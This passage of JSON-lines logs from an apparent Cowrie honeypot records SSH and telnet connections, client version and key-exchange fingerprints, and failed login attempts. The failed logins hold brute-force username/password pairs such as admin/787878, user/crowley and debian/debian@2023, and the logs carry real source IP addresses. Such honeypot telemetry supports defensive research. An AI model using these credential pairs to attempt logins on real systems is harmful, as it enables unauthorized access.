group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:29.375023Z","src_ip":"148.216.28.11","session":"37863665040f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"787878","message":"login attempt [admin/787878] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:29.673099Z","src_ip":"148.216.28.11","session":"37863665040f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33794,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecf01d903e0d","protocol":"ssh","message":"New connection: 159.203.92.129:33794 (159.203.135.109:22) [session: ecf01d903e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:30.323120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:30.328436Z","src_ip":"159.203.92.129","session":"ecf01d903e0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:30.336053Z","src_ip":"159.203.92.129","session":"ecf01d903e0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app-admin","password":"123456","message":"login attempt [app-admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:30.351170Z","src_ip":"159.203.92.129","session":"ecf01d903e0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:30.743140Z","src_ip":"148.216.28.11","session":"37863665040f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:31.358687Z","src_ip":"159.203.92.129","session":"ecf01d903e0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":36904,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff369317aaa5","protocol":"ssh","message":"New connection: 122.168.114.167:36904 (159.203.135.109:22) [session: ff369317aaa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:31.841927Z"}
{"eventid":"cowrie.session.closed","duration":"40.6","message":"Connection lost after 40.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:32.202242Z","src_ip":"122.168.114.167","session":"b6685238b17d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.01103210449219,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:35.239990Z","src_ip":"185.26.126.47","session":"b48a5498e973","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:38.049196Z","src_ip":"122.168.114.167","session":"ff369317aaa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:38.052626Z","src_ip":"122.168.114.167","session":"ff369317aaa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":32452,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b0b243b8c45","protocol":"ssh","message":"New connection: 2.57.121.25:32452 (159.203.135.109:22) [session: 6b0b243b8c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:46.602473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:46.607494Z","src_ip":"2.57.121.25","session":"6b0b243b8c45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:46.712645Z","src_ip":"2.57.121.25","session":"6b0b243b8c45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"crowley","message":"login attempt [user/crowley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:47.209535Z","src_ip":"2.57.121.25","session":"6b0b243b8c45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"crowbar","message":"login attempt [user/crowbar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:48.316397Z","src_ip":"2.57.121.25","session":"6b0b243b8c45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00172829627991,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:48.710212Z","src_ip":"217.196.164.80","session":"309fb4ca35b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.196.164.80","src_port":47794,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ce584f82660","protocol":"telnet","message":"New connection: 217.196.164.80:47794 (10.17.0.5:23) [session: 8ce584f82660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:49.163786Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"crocodil","message":"login attempt [user/crocodil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:49.424416Z","src_ip":"2.57.121.25","session":"6b0b243b8c45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"creatine","message":"login attempt [user/creatine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:50.533253Z","src_ip":"2.57.121.25","session":"6b0b243b8c45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"crayon","message":"login attempt [user/crayon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:51.640874Z","src_ip":"2.57.121.25","session":"6b0b243b8c45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:33:52.748295Z","src_ip":"2.57.121.25","session":"6b0b243b8c45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00119352340698,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:03.423292Z","src_ip":"45.65.130.151","session":"f0d869d7436c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":49748,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e1176cf62a3","protocol":"telnet","message":"New connection: 185.26.126.47:49748 (159.203.135.109:23) [session: 0e1176cf62a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:05.678764Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":48808,"dst_ip":"159.203.135.109","dst_port":22,"session":"88929854655f","protocol":"ssh","message":"New connection: 2.203.183.35:48808 (159.203.135.109:22) [session: 88929854655f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:06.767502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:06.770414Z","src_ip":"2.203.183.35","session":"88929854655f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:06.926887Z","src_ip":"2.203.183.35","session":"88929854655f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian@2023","message":"login attempt [debian/debian@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:07.419415Z","src_ip":"2.203.183.35","session":"88929854655f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":36590,"dst_ip":"159.203.135.109","dst_port":22,"session":"151f236da658","protocol":"ssh","message":"New connection: 103.228.69.212:36590 (159.203.135.109:22) [session: 151f236da658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:07.552837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:07.556816Z","src_ip":"103.228.69.212","session":"151f236da658","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:07.788714Z","src_ip":"103.228.69.212","session":"151f236da658","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:08.238691Z","src_ip":"122.168.114.167","session":"ff369317aaa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:08.527044Z","src_ip":"2.203.183.35","session":"88929854655f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123","message":"login attempt [administrator/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:08.746366Z","src_ip":"103.228.69.212","session":"151f236da658","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:09.978864Z","src_ip":"103.228.69.212","session":"151f236da658","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39026,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf018b582425","protocol":"ssh","message":"New connection: 159.203.92.129:39026 (159.203.135.109:22) [session: bf018b582425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:13.214076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:13.218161Z","src_ip":"159.203.92.129","session":"bf018b582425","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:13.221970Z","src_ip":"159.203.92.129","session":"bf018b582425","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app-admin","password":"app-admin","message":"login attempt [app-admin/app-admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:13.233532Z","src_ip":"159.203.92.129","session":"bf018b582425","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:14.238318Z","src_ip":"159.203.92.129","session":"bf018b582425","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":50562,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8043a36b91f","protocol":"ssh","message":"New connection: 148.216.28.11:50562 (159.203.135.109:22) [session: f8043a36b91f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:15.037809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:15.043059Z","src_ip":"148.216.28.11","session":"f8043a36b91f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:34:15.110139Z","src_ip":"148.216.28.11","session":"f8043a36b91f","protocol":"ssh"}
